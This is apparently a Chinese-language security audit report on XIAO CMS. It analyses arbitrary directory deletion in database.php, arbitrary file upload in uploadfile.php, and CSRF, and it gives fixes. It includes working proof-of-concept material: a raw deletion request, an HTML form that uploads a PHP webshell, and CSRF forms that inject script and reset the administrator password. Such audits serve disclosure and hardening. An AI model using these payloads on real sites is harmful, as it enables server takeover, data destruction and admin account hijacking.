XIAO CMS审计
字数 933 2025-08-29 08:31:35
XIAO CMS安全审计报告与漏洞分析
1. 概述
XIAO CMS存在多个安全漏洞,包括任意目录删除、任意文件上传和CSRF漏洞。本报告详细分析这些漏洞的成因、利用方式及修复建议。
2. 任意目录删除漏洞
漏洞位置
database.php文件中的import操作
漏洞分析
- 漏洞位于
database.php文件的import函数中 pathsPOST参数未对./进行有效过滤- 攻击者可构造恶意路径删除任意目录
漏洞验证步骤
- 创建一个测试目录(如
ckj123) - 构造POST请求,
paths参数设置为要删除的目录路径 - 发送请求验证目录是否被删除
漏洞利用
POST /path/to/database.php?action=import HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
paths=./ckj123
3. 任意文件上传漏洞
漏洞位置
uploadfile.php文件中的上传功能
漏洞分析
- 上传功能通过
upload类处理文件 - 文件扩展名检查存在缺陷:
type参数可由用户控制- 未对上传文件类型进行严格限制
- 攻击者可绕过限制上传PHP等危险文件
关键代码
// 上传类型由用户可控
$type = $_GET['type'];
// 文件扩展名检查
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if(!in_array($ext, $this->allow_types[$type])){
// 验证失败
}
漏洞利用
- 构造HTML表单直接上传PHP文件:
<form action="http://target.com/admin/index.php?c=uploadfile&a=uploadify_upload&type=php&size=1000" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="submit" value="submit" />
</form>
- 上传成功后可直接访问webshell执行任意代码
4. CSRF漏洞
漏洞分析
- 系统未验证请求来源(Referer)
- 攻击者可构造恶意页面诱使管理员执行敏感操作
漏洞示例
示例1:添加XSS内容
<form action="http://target.com/admin/index.php?c=content&a=add&catid=3" method="POST">
<input type="hidden" name="data[catid]" value="3" />
<input type="hidden" name="data[title]" value="test" />
<input type="hidden" name="data[content]" value="<script>alert(1)</script>" />
<input type="hidden" name="submit" value="提交" />
<input type="submit" value="Submit request" />
</form>
示例2:修改管理员密码
<form action="http://target.com/admin/index.php?c=index&a=my" method="POST">
<input type="hidden" name="data[password]" value="1234567">
<input type="hidden" name="submit" value="提交" />
<input type="submit" value="Submit request" />
</form>
5. 修复建议
任意目录删除漏洞
- 对
paths参数进行严格过滤,禁止使用./和../ - 限制删除操作只能在特定目录下进行
- 添加权限验证,确保只有授权用户可执行删除操作
任意文件上传漏洞
- 固定
type参数,不允许用户控制 - 使用白名单方式限制可上传文件类型
- 对上传文件进行内容检查,防止伪装扩展名
- 将上传文件存储在非web可访问目录
CSRF漏洞
- 添加CSRF Token验证机制
- 检查Referer头,确保请求来自可信来源
- 对敏感操作使用POST请求而非GET
- 添加二次验证机制(如密码确认)
6. 总结
XIAO CMS存在多个高危漏洞,攻击者可利用这些漏洞:
- 删除服务器任意目录导致服务中断
- 上传webshell获取服务器控制权
- 通过CSRF攻击修改管理员密码或植入恶意内容
建议用户及时更新到修复版本或按照上述建议进行安全加固。